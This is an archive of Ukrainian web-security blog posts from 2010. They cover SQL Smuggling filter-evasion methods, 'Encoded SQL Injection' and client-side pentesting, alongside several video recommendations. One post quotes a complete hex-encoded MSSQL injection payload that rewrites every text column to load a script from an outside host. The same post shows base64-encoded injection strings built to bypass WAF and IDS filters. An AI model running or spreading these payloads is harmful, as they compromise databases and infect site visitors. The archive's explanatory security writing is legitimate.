Архів для категорії 'Статті'

Клієнтський penetration testing

22:48 20.11.2010

В своїй презентації Client-Side Penetration Testing, Chris Gates і Vince Marvelli розповідають про клієнтський penetration testing. Про уразливості на стороні клієнта та атаки з використання client-side уразливостей на користувачів та відвідувачів веб сайтів.

Цікаве чтиво на тему web security

18:08 17.11.2010

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

Encoded SQL Injection уразливості

22:42 13.11.2010

В статті Просунуті методи SQL Smuggling, я згадав про Encoded SQL Injection - новий клас SQL Injection, що я виявив в 2009 році. Тобто це підклас SQL Injection уразливостей. І зараз я детально розповім про нього.

Торік, 17.05.2009, я знайшов SQLi уразливість, яку я відніс до нового типу SQL Injection - Encoded SQL Injection. Про Encrypted XSS (Encoded XSS) я вже згадував неодноразово, а в цій статті розповім про Encoded SQLi. В класифікації SQL Injection уразливостей (в 2008 році) я навів два типи SQLi - Reflected SQL Injection та Persistent SQL Injection. Так що Encoded SQL Injection буде третім типом.

Дані уразливості дозволяють обходити захисні системи - як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи. Тому я відніс даний тип SQL Injection уразливостей до просунутих методів SQL Smuggling.

Різновиди Encoded SQL Injection.

Існують наступні різновиди Encoded SQL Injection:

  • Частково закодовані SQLi.
  • Повністю закодовані SQLi.

Якщо перший різновид ще може бути виявлений деякими захисними системами (якщо вони налаштовані на відповідні оператори мови SQL), то другий різновид зовсім не буде виявленим сучасними захисними системами. Окрім тих систем, що підтримують декодування даного методу кодування.

Частково закодовані SQLi.

У випадку частково закодованих SQL Injection, дані, які передаються СУБД, кодуються лише частково. Це коли закодована лише деяка частина SQL коду (наприклад, через CAST). Кодування рядків для обходу фільтрації лапок сюди не відноситься.

Як у випадку наведеному в записі Encoded SQL Injection, де даний тип SQLi використовувався для атаки на один сайт (причому на звичайну SQLi уразливість):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Повністю закодовані SQLi.

У випадку повністю закодованих SQL Injection, дані, які передаються СУБД, кодуються повністю. Тому весь SQL запит є закодованим (на рівні інтерфейсу) і лише на рівні веб додатку від декодується для передачі СУБД. Зокрема у варіанті закодованого SQL Injection, що я знайшов торік, використовується base64 кодування.

Коли веб додаток використовує base64-рядки для передачі значень веб додатку, це може бути використаним для проведення Encoded SQLi атак.

Наприклад, рядок ‘ or 1=1# стане JyBvciAxPTEj. А рядок ‘ and 1=’1 стане JyBhbmQgMT0nMQ==.

І на рівні зовнішніх захисних систем, що не підтримують декодування даних, які передаються веб додатку, ці та інші закодовані рядки не викличуть жодних підозр. Тому встановлені на сервері IDS, IPS та WAF системи не зможуть виявити дані атаки (та й в логах їх просто так не виявиш). І дані атаки успішно пройдуть, обійшовши захисні системи.

Захист електронної пошти

22:43 12.11.2010

Продовжуючи розпочату традицію, після попереднього відео про безпеку від Гугла - Google Web Security, пропоную нове відео на веб секюріті тематику. Цього разу відео про захист електронної пошти. Рекомендую подивитися всім хто цікавиться цією темою.

Global Web Security - Protecting your Webmail

В відео розповідається про небезпеку відправки емайлів, тому що чимало різних осіб потенційно можуть переглянути вашу кореспонденцію. І одна справа коли відправляти звичайні листи, і зовсім інша справа коли відправляти конфеденційну інформацію. Про методику вирішення цієї проблеми йдеться в цьому відео. Хоча відео має рекламне спрямування, але воно зроблено цікаво :-) .

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою електронної пошти.

Цікаве чтиво на тему web security

22:35 05.11.2010

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

Просунуті методи SQL Smuggling

22:45 30.10.2010

В попередніх статтях я розповідав про SQL Smuggling атаки та про нові методи SQL Smuggling. SQL Smuggling - це техніка проведення SQL Injection атак з обходом захисних систем.

Серед нових методів SQL Smuggling, що з’явилися після публікації раніше згаданої статті про дану методику атак, я виділив два методи, які були розроблені секюріті дослідниками. Це використання специфічного кодування в SQL запиті (розроблена в 2007) та обрізання рядку в MySQL (розроблена в 2008).

За останні роки я розробив багато власних методів атак на веб додатки з метою обходу як вбудованих у веб додаток захистних фільтрів, так і встановлених на сервері IDS, IPS та WAF систем. І багато прикладів подібних атак я наводив в новинах. Зокрема я розробив і методи, що можуть використовуватися при проведенні SQL Injection атак. Тому дані методи можна віднести до SQL Smuggling атак.

Серед моїх власних методів SQL Smuggling я виділю наступні:

1. Переведення GET запиту в POST. Деякі захисні системі захищають лише від атак через GET запити, тому їх можна обійти через POST запити.

2. Використання blind SQL Injection замість звичайного SQL Injection. Деякі захисні системи захищають лише від атак, що відносяться до звичайних SQLi, але не від blind SQLi, тому їх можна обійти при переведенні звичайних ін’єкцій в сліпі ін’єкції.

3. Використання Encoded SQL Injection - нового класу SQLi, що я розробив в 2009 році.

Більш детально про використання Encoded SQL Injection уразливостей я розповім в окремій статті.

Безпека від Гугла - Google Web Security

19:08 27.10.2010

Продовжуючи розпочату традицію, після попереднього відео про використання HTTP Parameter Pollution, пропоную нове відео на веб секюріті тематику. Цього разу відео про новий секюріті продукт від Гугла - Google Web Security. Рекомендую подивитися всім хто цікавиться цією темою.

Google Web Security

В відео розповідається про сучасний стан безпеки в Інтернет, про різніцю між веб фільтрацією та веб безпекою, та про переваги такого метода як веб безпека над веб фільтрацією. А також в загальних рисах розповідається про новий хмарний (cloud) секюріті продукт від Google. Єдине питання тут в тому, чи довірите ви свою безпеку такій компаній як Гугл :-) .

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою в Інтернет.

Нові методи SQL Smuggling

22:49 23.10.2010

Раніше я розповідав про SQL Smuggling атаки. SQL Smuggling - це техніка проведення SQL Injection атак з обходом захисних систем. Використовуючи дану техніку можна обходити як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи.

В зазначеній статті розповідається про різні методи SQL Smuggling. Але дана стаття була написана в 2007 році і з тих пір були виявлені нові цікаві методи SQL Smuggling, про які я зараз розповім.

До нових методів SQL Smuggling відносяться:

1. Використання специфічного кодування в SQL запиті.

Прикладом такої уразливості у веб додатках та атаки на неї є SQL Injection уразливість в WordPress через кодування. Уразливість була виявлена Abel Cheung в 2007 році.

Атака могла бути проведена на сайти на WP, що використовали для БД кодування GBK або Big5. Особливість роботи даних кодувань, що є відмінною від UTF-8 та інших кодувань, дозволяла обходити захисні фільтри.

2. Обрізання рядку в MySQL.

В 2008 році Стефаном Есером була розроблена атака на обрізання рядку в MySQL. Прикладом використання даного методу атаки є уразливість в WordPress 2.6.1.

Використовуючи особливість роботи MySQL можна обрізати дані, що передаються до БД, і при деяких умовах, це можна використати для проведення атак. При цьому жодні захисні системи не зафіксують атаки і тому вона пройде приховано, бо дані до сайта посилаються звичайні, і лише за рахунок особливості роботи СУБД MySQL виникає можливість проведення атаки.

Безпечні веб додатки

22:29 22.10.2010

В своїй презентації Secure Web Applications, Vasan Ramadoss розповідає про безпечні веб додатки. Про безпечну публікацію та транзакції в Вебі.

SQL Smuggling атаки

22:44 19.10.2010

В своєму документі SQL Smuggling Or, The Attack That Wasn’t There, Avi Douglen розповідає про атаки з використанням техніки SQL Smuggling. Це атаки на SQL ін’єкції на веб сайтах з використанням техніки обходу захисних систем.

SQL Smuggling - це техніка проведення SQL Injection атак з обходом захисних систем. Як вбудованих у веб додаток захистних фільтрів, так і встановлених на сервері IDS, IPS та WAF систем.

Зазначу, що в своїй практиці я неодноразово використовував техніку SQL Smuggling, в тому числі розробляв нові види обхідних технік. А також створював техніки smuggling-атак для інших класів уразливостей, про що я напишу окремо.